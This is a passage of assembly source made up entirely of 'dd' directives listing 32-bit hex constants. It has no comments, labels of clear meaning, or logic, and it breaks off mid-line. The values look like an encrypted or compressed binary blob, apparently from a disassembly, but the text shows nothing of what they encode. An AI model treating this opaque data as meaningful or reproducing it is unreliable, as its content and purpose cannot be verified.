0E836603Ah dd 27B5BD2Bh, 9EC151B5h, 0AB0B2121h, 12BDD5AFh, 0C1C25200h dd 0B03AD5Eh, 0FE8BF7C6h, 3D4B38DDh, 1A5BBD29h, 0B615352h dd 5F415F77h, 5790002Eh, 0F2834A0Fh, 4EAE8006h, 254FA3Ah dd 0F505B94h, 0E3760B8Ch, 2B9FBFC0h, 7E5097F0h, 11099078h dd 756D8323h, 0EBE57CEDh, 0C3794EAh, 8BF5FDB1h, 892FD69Eh dd 0AC4253B9h, 0FE3AD627h, 4C68004Fh, 0B1E1BF91h, 810D0139h dd 3351D1D3h, 62B63A2Ah, 0EBFF8067h, 0BDDC445Ch, 0E109227Bh dd 0D1057F19h, 4C22BB30h, 0FB4E751Dh, 0A0096500h, 9A9D24F3h dd 0A06C5A92h, 964A881Ah, 0ADB3FAA8h, 0E8ABBD84h, 977B014Ah dd 9874E1FDh, 0A0492E43h, 0DC9A7C02h, 0A500D0FEh, 0B575F652h dd 3096EDDBh, 0B0C25190h, 649D5BB4h, 0ABAF82A4h, 80563721h dd 1D065F1h, 0E6B831EAh, 0B2E31341h, 0B590D899h, 0F65A0CD3h dd 8293C032h, 0D4ACAE9h, 0B51091CBh, 92013AAFh, 96EF1A6Dh dd 5125F062h, 0A5487369h, 4E23CDh, 0CBFE05F2h, 69D69760h dd 0C8D747C3h, 957DFCEh, 90612549h, 803C1059h, 6A9CFC09h dd 183223CDh, 9A50FEC0h, 904BD169h, 0A854D1A1h, 19B8BFA9h dd 0D0C028Ch, 0E2C7C5DBh, 9A7F157h, 4C55FCB7h, 95F3B534h dd 5B280909h, 48FCA7C0h, 3D76A67h, 98AF5186h, 0B83152D8h dd 0B6FEBF12h, 8F0229Eh, 2F61BD29h, 40A97849h, 7031E603h dd 0CDD2260h, 45857384h, 0E4610117h, 1E900171h, 98924A15h dd 75F829C2h, 51953995h, 2045558Ch, 9CB05F49h, 630AB325h dd 8D9DF995h, 0DFFEF1A7h, 8FD1D04Fh, 574E0592h, 8BB905D6h dd 0F1DF01D1h, 0AC7EE945h, 8161E23h, 0EAA43AA8h, 97F94E88h dd 0F6190611h, 8470F8Ah, 7D8011E9h, 3B1A0516h, 5E6F003Fh dd 70E8AF3h, 1309852Eh, 5A5BC9C0h, 561A81B3h, 8532F17Eh dd 33E95B55h, 65BB8F20h, 8D8B1869h, 895303FFh, 32E59D1Ah dd 44A9542Fh, 1F6A5418h, 0A554C65Ah, 64FE341Bh, 0ABB37104h dd 4982A1ADh, 4D5F0F30h, 318E396h, 37FF6A8Ah, 59159F97h dd 3AF1A238h, 6FD2D8BDh, 31DB023Ah, 431BCB80h, 10B8A8Eh dd 6B0ED5B9h, 51E16F8Ch, 5D2EEAFCh, 0A96DED5Fh, 75300C9h dd 0A1943A7h, 67DDF04Ch, 0C7E909E0h, 7D25A3D9h, 0E11256B6h dd 0B8D4F2B8h, 0E2C1F6AEh, 0A5825785h, 0D50907A1h, 0B7DF702Bh dd 17AC81C4h, 6E08B8E7h, 21E99404h, 5B52DB9h, 0BF986C40h dd 973CF6Eh, 0DCB5FCF0h, 4E305E5Ch, 4B0D4BE7h, 0ECE7BD88h dd 3C627FD8h, 0F0051122h, 0B878C933h, 0D6192530h, 44ED5A9Dh dd 0C187F940h, 79690229h, 0FC8A7120h, 88E80F5Ch, 0C0DB04D6h dd 0B88DE341h, 0EEB3AC0Ch, 20C29851h, 5B492481h, 5EBC68h dd 0DED69E83h, 0D893476Ah, 2D9EB058h, 69BC7185h, 84FFE429h dd 0A59549EAh, 5B5ADBFFh, 4C8028DAh, 77A7BBB3h, 1967150Eh dd 0EB3DE158h, 9A236941h, 795C232Dh, 7C306E25h, 4A15F33h dd 0B9E1FFAFh, 0CC3BB97Dh, 5B275298h, 69CFD6FCh, 0BA422559h dd 0D2297304h, 824973F9h, 551A2D7Ch, 0DE2DF567h, 5ED42795h dd 0FDA131DEh, 0C60BB1CEh, 150E563Ah, 0CE83038h, 5752AD0Bh dd 212A7D66h, 60FB0BF1h, 80623B76h, 3420D7C3h, 0ABB7DF81h dd 0C2711925h, 41EF040Bh dd 463D62AEh, 0DEDB2Ah, 964F6285h, 0E8C06C35h, 0A8D0F1Bh dd 0B3F45A23h, 0B29C1681h, 17CE5AA9h, 0EB300DC5h, 54E61E20h dd 0D64A07B0h, 0D04C91E2h, 0CA7BBF89h, 7EB85D04h, 3DC4AD32h dd 5B9649FEh, 0F9800371h, 4EBA6090h, 1C3A04DAh, 8361FE8Bh dd 0F4EFFBFEh, 359BAF6Ah, 78600FC6h, 21F09155h, 244F2A4Eh dd 2CE8D261h, 13D528D8h, 0A0A5CC82h, 0C02E6110h, 22476835h dd 0BB0479E9h, 3A7C83B5h, 0B80FE0A8h, 0A992F621h, 0C2B8B0h dd 1114BEFDh, 4DAC65Ch, 0B0DEC69Dh, 950EE214h, 18A0AB14h dd 894BEF25h, 19A8C8FDh, 0DAC70D8Ch, 247406CBh, 0BE88057Bh dd 8A445899h, 0DAEF7060h, 0E916618Bh, 98E40213h, 610997DBh dd 9C363DFDh, 828D4052h, 0EFBF5DFBh, 1250F04h, 90F80D9Dh dd 0FD76C54Ah, 0B08FEC7Ch, 0BFAF4981h, 4AB2B897h, 0B6E981C5h dd 85945CECh, 83FA52B2h, 0A498DB96h, 0A7F720ABh, 5C794285h dd 0C3412000h, 0D0CD99C0h, 8DA94B79h, 0CFDB2FB9h, 21FE7F8Dh dd 68996F10h, 623777EEh, 0FE49BC9Ch, 6F09D53Ch, 4EA80803h dd 8BD3D805h, 6BBA6741h, 1B232Bh, 1DEF3D06h, 8E26B612h dd 0E109F8E9h, 2E047926h, 0FA13DC87h, 33FF607Fh, 0A2C4B416h dd 4140004Ch, 44B5F63h, 722600A6h, 8839180Ch, 8CE0AA69h dd 9661500Bh, 0FD7588Bh, 77205D6Dh, 0E1ABE632h, 352F8851h dd 4DB1102Ah, 68D88B00h, 693754C7h, 543D749Eh, 0A9BFF80Fh dd 38362083h, 39692857h, 290960F9h, 1D24A5B5h, 4298AB61h dd 1B5926BFh, 0EFDE16A6h, 16252C7Bh, 40B1E49h, 27A1FC06h dd 0B5891375h, 0BA2DAB55h, 0D926221h, 80EE9B61h, 69BF9FD6h dd 59782DCBh, 95F64E56h, 0FE90A930h, 0D9BD010Bh, 71705612h dd 0C631B13Ah, 0E90114C9h, 357B6E4Ah, 0BE252E00h, 1001368Ch dd 93415359h, 2A113504h, 92EE06BCh, 5BD133A0h, 0C6B273h dd 204A22DFh, 0B65ED18h, 0AB825DC4h, 75009DC4h, 1FF75A98h dd 1F37CC7h, 95B52740h, 0F1EE836Eh, 0E282F5Fh, 1BE487E3h dd 0A954960h, 57396105h, 0B41282F2h, 0B314C6BDh, 0ABB3FDFEh dd 23B0635Eh, 0FCD952Dh, 0FE6019E4h, 6B04EF5Bh, 0FD8A85A0h dd 1CAC0BBDh, 48D9008Ch, 0C27CA811h, 23EEC73Bh, 12EFBD4Ah dd 6B49B17Bh, 70B018A7h, 8E49C0Fh, 0E6AF5C25h, 8964C15h dd 0B31CF26h, 0D88E63F7h, 0F0E3ABA1h, 0E5FEFE52h, 91446D6h dd 0DEBD2B48h, 6FBF8E6Eh, 0B80F13C4h, 0B246D3E4h, 0BDED783Ch dd 17D8EDD3h, 56B6006Ah, 0D7A8E2B7h, 0BF04E0A9h, 790DEFD5h dd 0EF9C74ABh, 4200CD6Ah, 0EF9FF873h, 6000CE6Fh, 568FAAB8h dd 2F68168h, 1183B7D4h, 5A770361h, 96539D6Bh, 3B181959h dd 0B04D1000h, 0E3801C6Dh, 6BFB9CC5h, 830BB754h, 8903F4C2h dd 0CB706AD8h, 8D258E90h, 0AD505B1Eh, 54B6050h, 9031969Ch dd 85D78AAAh, 66A2D9B1h, 0BDC57349h, 0C48AAA69h, 0F1211864h dd 0B3F63F4Dh, 84F59CB5h, 5BD61258h, 0D7C9C5FCh, 0C449080h dd 6800720Ah, 45F9856Ch, 0B089C71Bh, 48F695ACh, 0A28BB40h dd 0B8224ECAh, 8569E0D2h, 80C00094h, 0D2D67A15h, 0EAEA7137h dd 0D1B5E1E3h, 758F20BBh, 0C65F1B25h, 49B70956h, 0FCB3820Fh dd 5E71D9FFh, 0F94453C4h, 6020AB96h, 0DF6CDAh, 353CA2E8h dd 1F3E77CAh, 9A348400h, 0D7DB87A3h, 0CC504CC2h, 0C8600D6h dd 7E97A667h, 8B4886E4h, 5BDA0907h, 0DCA87496h, 0A6AADF12h dd 1995904h, 0A64B93CEh, 0BBF8A568h, 0A97D17D6h, 6CBF87CAh dd 95C47279h, 98D30D73h, 0BFF3447h, 0B690D5D4h, 7125CF7Eh dd 0A0054F6h, 25893E59h, 25AB729Fh, 7EC014E2h, 899FBDDDh dd 0BF10715Ah, 232BBB09h, 59441479h, 0A95AD150h, 3C6BD638h dd 33A95800h, 0D19EC490h, 0C2B9794Eh, 0AFC6F984h, 3680FE9Eh dd 0C7D40112h, 4E8F9B12h, 31C230F2h, 6AD64DB5h, 0DBAC3096h dd 5F8B6E4Fh, 0BCA480F8h, 814780D4h, 0DF63C1h, 0D9512019h dd 3F8D91A5h, 0BDF7D8BFh, 6EB5A6D8h, 2EB7B701h, 0C7C1FD02h dd 0F86F9BEh, 0E409221h, 3556540Ch, 23D82C00h, 0CB94468Fh dd 0BF4F4A68h, 0DFD2991Ch, 0DEC98ADh, 5E4B900h, 68633CF0h dd 0C8109FF7h, 36799AF9h, 605CAB61h, 81DCA0B9h, 0EFEA980Ch dd 0FE3FF53Ah, 0ADA5B7D7h, 0A2A04CD4h, 0FBFBA13h, 465430AFh dd 0DA011BF2h, 2554F1C7h, 82A31BCh, 5F122E56h, 0F26B4AF1h dd 0AB080014h, 0B0EF5A60h, 0D70C25DFh, 905BA2C0h, 3FEEE852h dd 4E6A001Eh, 88B867BEh, 9FAA0B3Eh, 93711DA1h, 5B28F800h dd 12FEAE1h, 43E0213Ah, 6B505F60h, 0B0514E08h, 0CF03BFF8h dd 9BFDBF5h, 2AC333CDh, 9ADC7F27h, 363597DAh, 0AE801591h dd 0C98D892Eh, 0D50C0995h, 1A913635h, 0C087C280h, 0CD27F93Dh dd 3ED64B0h, 1567D184h, 0E1907E57h, 0A52E4B4Eh, 930FE13Bh dd 0B0E6F2FFh, 84239E0h, 0B0998E6h, 7F225D9Dh, 109F8F30h dd 43DE2102h, 5ED7AF86h, 0A76E514Eh, 0C96DED2Bh, 0A3807F72h dd 6A8102F9h, 0DC62DED2h, 987A8F00h, 27B8DC59h, 0CFBF257Dh dd 0B3F419FFh, 7ABCB57Ah, 9428190Bh, 8B601C62h, 41B589D3h dd 0E9251472h, 0C2A059E0h, 8B05BFC4h, 2987A4ACh, 2A4FDD8Dh dd 94F64F81h, 0C85B9A6Bh, 1AFFCB19h, 2F87D3FFh, 6C55DDE2h dd 42F0BFh, 1BCF9F18h, 0C72675C1h, 1702F4FCh, 9531BF50h dd 868388C6h, 0C0A54D2Dh, 9A328D82h, 1CA8B112h, 53FAAE01h dd 652F5BF9h, 2382BB35h, 0E0595513h, 194B56Bh, 0A1FEBB7Ch dd 5C8C3BCEh, 87250301h, 3C1F263Dh, 2F406E81h, 718D3660h dd 0F095840Ch, 0ED92582h, 74006ADBh, 56B805DCh, 142C09B1h dd 3D7BC0DFh, 20012308h, 0BFD312EEh, 53CF464h, 0A510C486h dd 0E6041208h, 0E4051789h, 0D0891C71h, 69B7122Eh, 88F63CF4h dd 0B997FC8Ah, 8B60F53Bh, 0D953489h, 936B88Bh, 781ECB80h dd 9D310933h, 5390C75h, 0DA08ECF2h, 5337362Fh, 0C82B0D78h dd 8B06288Ch, 0E9B260D1h, 460296B0h, 85ECBD65h, 8CEEFDD3h dd 0B5258987h, 0ADE15971h, 9600A271h, 86F1C97Ah, 0D34597BDh dd 14C1D031h, 80C15F02h, 1A97E45Ah, 3C40FFB4h, 0B5CFAFCEh dd 616E33B6h, 22C11778h, 0BB040F59h, 0E9A50F1Fh, 58510E6Ah dd 0E9030139h, 501217FEh, 67F35BFCh, 562FE241h, 0B929AA1Dh dd 0E9C30040h, 66B397B3h, 103D3617h, 992707D4h, 8BD848Fh dd 0C438AABh, 0B00F3F1Eh, 0B00C5287h, 86FC8476h, 372D9A93h dd 70190C6Bh, 1D25DBB4h, 56A30BA8h, 184C92Ch, 93B90228h dd 0F4F2DE10h, 0B5014C04h, 0D9EA0EE9h, 0A659765Ah, 0A8215EA8h dd 32DE90A2h, 6DFCB37Dh, 9325E021h, 0B72ACDB6h, 2B148483h dd 70DC23C0h, 544BB297h, 27CD2503h, 6EE1A98Ah, 7F3F0FD6h dd 0BB611978h, 0C8BF6E8Fh, 13125EECh, 0B3F7880Dh, 3A8271B1h dd 49954484h, 0D38F9ABAh, 0F2E198BFh, 0C5D59307h, 2199E311h dd 5B063A7Fh, 7678B73Ah, 30A60343h, 0DE317927h, 971FF466h dd 0DB09612Fh, 47EB7192h, 0FE160E77h, 6F01916Fh, 7BE89E3Dh dd 255FC4FDh, 6389B0CDh, 2157A751h, 47218D2Bh, 0F17399E9h dd 0FC4F8EAEh, 4FA1E100h, 1D855DFh, 31FECB52h, 0F6FF5B9Bh dd 10E3755h, 8ABBAB45h, 2E3BC914h, 8B20F628h, 3DF488B2h dd 5C127FC2h, 7F2351D7h, 0E5B059A7h, 0F81690F7h, 9301B292h dd 0DF096B8h, 53DC5CE6h, 5B9F5CF6h, 0A8D789Ch, 9A904900h dd 0A885B517h, 0F2DE5E8Bh, 2DEF4E4Bh, 0A530C81Dh, 0B7097200h dd 3335D49Fh, 0B111709Dh dd 88C2645h, 9022769h, 5703398Dh, 42312F11h, 64D52DEEh dd 0F7A6809Ah, 922C4BF9h, 192A73FDh, 0E84D112h, 0C8BA9AEAh dd 1463C116h, 4BF25A4h, 0C5CFACF8h, 20898E0Fh, 80D8206Bh dd 892645F7h, 0FD27EB92h, 8FEF2C30h, 54909727h, 0F98A82F5h dd 0F0C15061h, 0C6CC1417h, 949000A3h, 234591ADh, 420082AAh dd 0BAF0A43h, 4FF0194Fh, 0F1F6F660h, 862B1B54h, 1978AB6h dd 12E38026h, 68D81683h, 25FADB8Ch, 123C535Dh, 73B6A0F8h dd 25C1D813h, 0C0B99EADh, 7B03C5F7h, 91AB57F8h, 5A6B89BFh dd 9D9D7030h, 6DB5E27Ah, 6019644Bh, 2C59A3D4h, 166ABB45h dd 4256AEBDh, 0AA4FACh, 77A139F3h, 13FC0DDFh, 1E152CA0h dd 920D048h, 53019FE9h, 0C8D0D189h, 8D72BC41h, 0BB55948h dd 5C2DE99Dh, 603EEA4Ch, 911F71C2h, 70556712h, 0F35F0BF3h dd 223D5884h, 0A5FE9501h, 24B0F865h, 0E953BD48h, 8A671459h dd 0E5D2C85Eh, 9DC02700h, 4ABC489Eh, 0BF6C09BAh, 215C8924h dd 0F1D624DEh, 9CCD52EFh, 0BD133367h, 0AAB8E4C1h, 25ECE397h dd 0C02AFC50h, 898CFEBBh, 6EFE344Bh, 0F9D51242h, 14ACA0B9h dd 93E0958Ch, 0AB0768DAh, 0BB0BB167h, 7F1237A1h, 3E54CE24h dd 874CAE64h, 0B5DCD52Fh, 0FE9356AFh, 9436F901h, 0A5C996BBh dd 22CF37Ah, 0E7EECBFh, 4CE6F52Ah, 44AC5C9Fh, 4FD5FA11h dd 0DCE1640Ah, 0CDB589BCh, 0C9F6140Dh, 90E18DB8h, 0C9B65B61h dd 698A71B1h, 6D54A0E2h, 218B2C51h, 2E5342E9h, 0EF875DAh dd 9C501300h, 0B74A4E7Eh, 5C1D97CCh, 0FDCE0272h, 0BD430E14h dd 0BAB41255h, 0C500736Fh, 0E1BFCF83h, 0D095F9A6h, 0FC7B95BBh dd 2A49BD04h, 0CDF6A2AAh, 0ED6A6EAFh, 1B6B8D0h, 9EC76190h dd 4BF543F2h, 537F30F9h, 1230F381h, 0FF10F1EEh, 31810D64h dd 0B93205A5h, 112B752Fh, 0A798B57Fh, 0F20BE6ECh, 5505EA97h dd 89263487h, 492A4D55h, 2DF683Ah, 0D502B9DFh, 1A275EBBh dd 0E04AFEFEh, 0FC99A103h, 0BC048C71h, 803AAC2Eh, 17A2F948h dd 8011903Fh, 0BD577A7Ch, 2B3AFA08h, 7A8096CEh, 9F00C457h dd 9D6128FCh, 6C0707CDh, 969532CCh, 12652588h, 9D059455h dd 13D40DD4h, 0FE0A9FADh, 83D67A16h, 14E52588h, 0E2B017EEh dd 6F46EB12h, 0A35B7CE3h, 4DCC4A29h, 0C92109BBh, 9C56B47h dd 5521150h, 0FA5178Ah, 0ADD01C7Bh, 310ACF52h, 5D18359Dh dd 0D02ED0Ch, 9B205F50h, 433380B6h, 0F5DE505h, 0EFBD7C79h dd 0C0A4B872h, 40E6AEBBh, 0EF5F4A58h, 0DBD7030h, 0DF45B519h dd 5097D3A7h, 554AAA2Ch, 0F64F4DA8h, 0F1814FDDh, 5AABBA5Bh dd 53560310h, 2970830Fh, 6CBF5B71h, 759D2AABh, 9A6397F4h dd 0E4F687EAh, 52ECDA0Fh, 4BE094F6h, 9E3B7E6Ch, 15448BEBh dd 4AEE5016h, 0A569A831h, 7416E04h, 28FF8AAAh, 94955C86h dd 0B45A7079h, 0BA09F413h, 576096h, 50515A1Ch, 0C35E5A5Bh dd 0A6F4FA28h, 6EAFE053h, 128290B5h, 6081C545h, 0D8501E7h dd 4F7F1956h, 0B19230E8h, 2DDB7E56h, 0DE80ABC9h, 29830D13h dd 1F29F39Dh, 3D2795BDh, 95D5F889h, 41F340B5h, 0AA244ACCh dd 0B509FD63h, 71695C1Fh, 0F95A0D37h, 0EA5EF4C0h, 0DB259416h dd 88697362h, 0D06918E9h, 61DDF93Ah, 56332C2Eh, 0A4EABF09h dd 38700EBh, 802F299Dh, 0C2952CE9h, 8E87374Ch, 0B601B4F1h dd 2BF5A2ACh, 7EF6990h, 79A08CE4h, 60A320F5h, 900003BAh dd 25CA76BFh, 65501D67h, 0EB46B727h, 0C69BFCEBh, 3FE764C0h dd 8F384A7Bh, 93CF9387h, 2AA1F004h, 6112BE57h, 449C70AFh dd 0EC0B72C6h, 0D065EE01h, 0DC709698h, 0E7F68400h, 6A5A2D11h dd 97C0B0FBh, 49D07CD3h, 0F19D01C5h, 0A40B5632h, 829242E4h dd 80C2D35Fh, 74571BB5h, 4A044F66h, 890C142Bh, 62A627BFh dd 0FA7DB1B5h, 0CEFD205Ch, 0E6789F9Bh, 5DDA0EE9h, 13E980C8h dd 0B79F6070h, 0AC791F3Ch, 0DE2B00AFh, 0B3906AAAh, 6017FB7Dh dd 614FF18Ah, 36B37761h, 1C386A6Ah, 0E7685DE7h, 3080B637h dd 2F725B03h, 277602D2h, 175BD33h, 0DD5A5D5Ch, 562D53B5h dd 4C5002AAh, 90D70719h, 6E9427h, 0F40AC68Ch, 0F133383Ah dd 58394806h, 0B7EAA4B7h, 0FE95BB50h, 1849D4BDh, 6D7A8047h dd 254EA00Eh, 2CC5D1FFh, 16B3C438h, 0DB026AF6h, 70C28744h dd 0AD47D4D1h, 0ACFABC97h, 9D012255h, 7EEC5201h, 736FFC50h dd 371C322Dh, 0AC368961h, 0F3D2582h, 91FBB75Dh, 4D788419h dd 0E931A0AEh, 0C510B425h, 0CF078843h, 1EE7F125h, 909EB0h dd 8C82846Dh, 0F004735Ah, 2DB5013Ah, 0D45B7AD2h, 6F07DCD2h dd 0F4414B4Ah, 0E0AE3B32h, 25231D7Bh, 86732D59h, 0EE181D59h dd 5FC52300h, 7159A77Dh, 0FA916C4h, 0D35ACC80h, 1C03AB26h dd 502D2525h, 34BEB2C5h, 3A5FA42h, 2DB8A86Dh, 0CB6C4E60h dd 4A0F3972h, 88CD888Dh, 898B5B84h, 0EB98829Bh, 573A0927h dd 1811B637h, 647D8A80h, 309796CFh, 125EBB9Bh, 0E3090E18h dd 9D230E70h, 6759B01Dh, 5D6FAA4Bh, 136F6A07h, 8271B712h dd 44557698h, 604E002Fh, 612EEBE7h, 815CC675h, 23551767h dd 0ADE8D4E9h, 0A5028475h, 53946ECCh, 0F1BD8260h, 0BF2AC0D8h dd 0B56151D6h, 0CA6A0CCDh, 12C10A3h, 40896E50h, 997B033h dd 0D948F506h, 704EE661h, 281BDC8h, 64116C94h, 0AF6071E4h dd 0E6950CA1h, 0A72FE103h, 78CF169Ah, 2B56DDBBh, 0BF66D500h dd 4ABA02AAh, 0C0CCBD06h, 2F7CC35Dh, 1030013Ch, 56C01A68h dd 2F4E71C9h, 0F072A3C8h, 62660771h, 59DC3FF2h, 2DE4945Fh dd 3C58ACA4h, 4B145495h, 12A4C954h, 32BD2212h, 0D17A0951h dd 50D18B2Bh, 0BD25B735h, 0FE07DE00h, 6A7AF155h, 1B7B09Bh dd 219A183h, 2B88CD41h, 0DEB941C9h, 2DFA702Eh, 0F5583F29h dd 0F0CE7388h, 0DC1C0F00h, 0EBE3B72Dh, 0AA78075Ah, 925BD0Bh dd 0E6484A5Eh, 55246D0Bh, 4E0C159Ah, 0DAA8FD1Ch, 0D7A43EE9h dd 0CF04DF00h, 0EF802ED1h, 0D41A9746h, 0AF2587F0h, 45D3C4C6h dd 4BA22C21h, 0D4AC3FC4h, 92EEDA1h, 0AEC6C05h, 0B1D1D84Ah dd 0B2024F41h, 17B5D695h, 0F068A66Ah, 9DF5C6DCh, 14590E73h dd 0E3F83F18h, 0BE23AE2h, 4A52BB01h, 0ABB942FDh, 0BA56C474h dd 525F5C53h, 50090822h, 43D18D09h, 0D0B8F43Dh, 4ABC5349h dd 0A2491C09h, 0E17CD853h, 0C054DE2Bh, 0DEE9823Bh, 0BC14049Bh dd 0E83D4616h, 28BF9665h, 0A2124757h, 0C8AA40B1h, 0D95FBD2Ah dd 0BA5C265Dh, 0E0525E27h, 203155BEh, 7FC03900h, 9A592E33h dd 5C4A0496h, 0EAF70FD1h, 71E479A7h, 20D9D0F8h, 85B0137h dd 0DC57CE9h, 93139F88h, 57F849FBh, 0FF258AD6h, 890243BAh dd 16D718C5h, 24B5B508h, 426D6605h, 5D032FAEh, 0A23A8E0h dd 0CBA9C0B3h, 2750B93h, 0E0CFCD55h, 8BB45980h, 0CCAFB4Bh dd 0F8FE9422h, 0FB271F91h, 0A16F785Dh, 61B3CD12h, 0DA2A74AEh dd 40E8CEBEh, 2B18BE99h, 0DAE025C2h, 0E5E2487Eh, 0D50C0C32h dd 0D6A2085Eh, 525D249Ah, 21B79785h, 4AD6DD0Ch, 0CE2BFBA1h dd 5621C1Fh, 14377525h, 1C479D00h, 9702D994h, 4F383F94h dd 0BA95A05h, 0DA264DBCh, 0C5257DB9h, 4EB8838h, 0F4DB8002h dd 0DCACD660h, 0CD13200Ch, 97F96632h, 0DC8A0B82h, 7E2B075Eh dd 17FA978h, 60A4F9A2h, 0C2958D2Bh, 807B5957h, 2C8C9C9Eh dd 0E700CB61h, 44535A6Ch, 0B0F11601h, 58CF275Ch, 5D091CFEh dd 64445E03h, 15233F7Ah, 56791109h, 1646D620h, 4B019302h dd 5B5EDE8Bh, 0D5E85065h dd 826DA680h, 46038A1Bh, 697FE39h, 0F64EF845h, 0D670279h dd 118D3114h, 0C45F6269h, 0B60956BFh, 0E4906F9Eh, 4F6C959Ch dd 4B8504Eh, 0D6C9B9A0h, 0F63E9081h, 0E83FE1ABh, 0F2963840h dd 0B75E01CBh, 0D9BF5BDAh, 5DF8BB0Bh, 0BCDBEC14h, 0AC72771h dd 0FC968110h, 7760C026h, 3CDE5354h, 0C9120E68h, 4E80B294h dd 7AFD21FEh, 0EAA02A9Ah, 5B9C90F1h, 80F2DB6Bh, 8761D005h dd 260D0439h, 20E8F7AFh, 3699AFAh, 11B98074h, 0CE0A370Fh dd 0C160B8CAh, 0B16D30Bh, 27A3DA56h, 97545B61h, 7B0911E7h dd 257EA490h, 94E99368h, 2AD2024Bh, 70896471h, 35578A8Eh dd 97F5A378h, 6029CD1Ah, 0B5B6975h, 1F09698h, 3C34164Ah dd 2F228547h, 0EE7E7713h, 4BFCFD5Fh, 0DEFE8B85h, 0A797C1C9h dd 0C56F3893h, 0E084AA5Ch, 4E56A7EAh, 5807E46Ah, 0FBE770h dd 9C91C781h, 66215C34h, 0A78081DEh, 1AB31D96h, 9D5193Ch dd 0DC8D09B4h, 0BB6682BEh, 0B8D78E2Ah, 86041948h, 88905997h dd 208305E8h, 90D68CDEh, 4D61BD33h, 0AD5E221Bh, 0F07B7263h dd 8230A4BFh, 3B18ABBh, 0C2318729h, 0C4ECA09Eh, 0DE2639BAh dd 0BFA1C4CBh, 59A00FA7h, 0FA00DB8Ch, 0FDB8600Bh, 0E610A90h dd 6BF8D381h, 41FF4A8Eh, 18E8D9B9h, 3AE57101h, 5DD9CB97h dd 53180494h, 5B150FE9h, 48751EABh, 0AAA340DDh, 0A0637402h dd 71404D14h, 24F15A80h, 800F9989h, 9942CB4Ah, 5E953F66h dd 476C87C1h, 905E8775h, 5BA3EC54h, 0E935CCBFh, 915F52C0h dd 9642D71h, 34A9B31Ch, 0D0A4F780h, 4507CB6h, 58EA802Fh dd 8AD2C8CEh, 5548FE6Bh, 0BF8DDF84h, 0DD65635Dh, 9F000C3Fh dd 7DFFD3E4h, 2480F007h, 72BE202h, 4050AAF4h, 5609D567h dd 0F2C1FB4h, 0DCD309DEh, 1D188EBAh, 24044A0Eh, 0A6D57A0Ah dd 0A93571C7h, 578DD692h, 0CAB4C894h, 5FE63640h, 0BB7500D4h dd 64BC2251h, 0B816592Ch, 88EA843Ah, 1A1CAC0Bh, 0E28B07FCh dd 0BF80FD6Fh, 0B469DADDh, 891CFC9Dh, 744D615Bh, 0F122C4C0h dd 9560EA80h, 21A4EFE7h, 61BE05D6h, 0AF0D69A5h, 6F020B39h dd 0BE04F551h, 0D75B0928h, 0A6F32098h, 137B4111h, 0C215C8AFh dd 84F31A12h, 74C39C73h, 811499B4h, 27F60760h, 7245042Fh dd 3D05253Dh, 29A50914h, 3B6DA601h, 8BB13F09h, 27D9CE2Bh dd 0D8D753D0h, 0F89D7871h, 16592031h, 0C4DE4DB5h, 0B0B9611Bh dd 160E61C8h, 0E67DECh, 48313969h, 0F9136075h, 0B5A63EB5h dd 0D28865Fh, 59F65B95h, 0D4181Dh, 0F917793h, 294055B7h dd 0BD893A09h, 41A25E2Dh, 2A6239EFh, 0E65A03F7h, 0F1D5A391h dd 55B853CFh, 0C5B8E98h, 9F4F80E7h, 13D9E1E5h, 1CA72Fh dd 12E86F39h, 0E3ADC53h, 215D1D50h, 12D33D2Eh, 0B45D30DDh dd 0ED0E4122h, 99F03D4h, 0C96E56ABh, 4C554EEAh, 45B5BD4Dh dd 5E98A900h, 12623A26h, 0EF0BB47Eh, 0A6BFCA20h, 0B72AE0E4h dd 14641E6Dh, 71559262h, 0E15960A3h, 0B900CDF8h, 0A768F324h dd 5B042BDAh, 5528F331h, 5AF72A10h, 0FD1117B0h, 3F4A8B01h dd 0FC2118A4h, 0B282F63Ah, 0AB963015h, 0CE85313Fh, 660F18CAh dd 0B6D371BFh, 301DB217h, 9C00172Bh, 421558B7h, 5ED3DCCh dd 16E50BBh, 30F27Fh, 0F88F75F0h, 27FE13FBh, 29605DC9h dd 22244CBBh, 5009150Ah, 0C0834D20h, 0E1A13BD4h, 23FDBB0Eh dd 9B35331h, 11DD2B25h, 6731957Ch, 6B9EC92Bh, 0EAC9069Eh dd 8A61E35Ch, 0AA266AF9h, 2BD91F00h, 0C60ADFDh, 0F1176601h dd 0ECF46404h, 49485C26h, 0C6C2B305h, 156BFF54h, 16011823h dd 0D833D1B8h, 9098276Fh, 983E8620h, 455FDD00h, 37136261h dd 7B5201A8h, 8646E1DFh, 41B22074h, 965F96A8h, 0D449859Ch dd 0BF2120Eh, 9DD412C4h, 3BB85092h, 7D8FA080h, 0ED006E17h dd 47E12E6Bh, 69FB8B53h, 0AFFB4C5Fh, 9545A571h, 0A1830EDFh dd 46B0A7CBh, 0F895651Ch, 0D1569786h, 0C19B4D6Bh, 0F82FE09Dh dd 27121FE3h, 8105E3Ah, 83D55C60h, 0F8839E26h, 7D33683Fh dd 0C97302A1h, 50C58AB8h, 2E51C076h, 60C0EA17h, 0C4D1E365h dd 69738919h, 0A66A34F2h, 54DCF1EFh, 0FC33F92Eh, 0DB3E099Bh dd 0AB04E81Ch, 6ADEF1C5h, 95A86BF2h, 10C15658h, 5F2E1FE5h dd 1D2F0A3Eh, 1A46D45Ah, 376B7400h, 4ABBB890h, 17146FB7h dd 0B032E75Ah, 3B8E9DF0h, 5E80E546h, 60BF766Eh, 6113B032h dd 0B4B6F98Bh, 0E0BD9D13h, 5B9DC623h, 6D60D00Fh, 0DA8BCC13h dd 55DC3CAFh, 38D80344h, 0A4D6FFF0h, 5DD816F0h, 0BB9ECE09h dd 68103A0h, 8B39C85Eh, 0BCED95C1h, 553592C2h, 9D10B8CCh dd 65481FF5h, 0BB81C1C0h, 0CE00D18Dh, 0E0E78FAAh, 4342789h dd 90887A1Fh, 0E3118483h, 0D54A62EDh, 0C8E55502h, 2B791A31h dd 0B2EAE62Ah, 7C5301Bh, 920EAF01h, 6A05B278h, 0BC42F93Ah dd 3A10E889h, 8589B71Eh, 0A7101F49h, 3D279D09h, 8F9A2218h dd 1F5BD7E1h, 1CC6978h, 99B79F2h, 3B3892CEh, 746EAC17h dd 0A99BD900h, 0A4AD790Ch, 72D4D612h, 162063BCh, 9E963FB8h dd 25AD949h, 29392BA5h, 0F67605Fh, 0BFE69D31h, 20EB604Ah dd 0F98D01DEh, 0FB9A96BEh, 805835ACh, 3912DE8Eh, 7D19FB62h dd 0FA52712Bh, 2204FA05h, 0CBEDAA9Dh, 91340CADh, 1D5F634Ch dd 38494CD2h, 9E5F4A2h, 0B9D96141h, 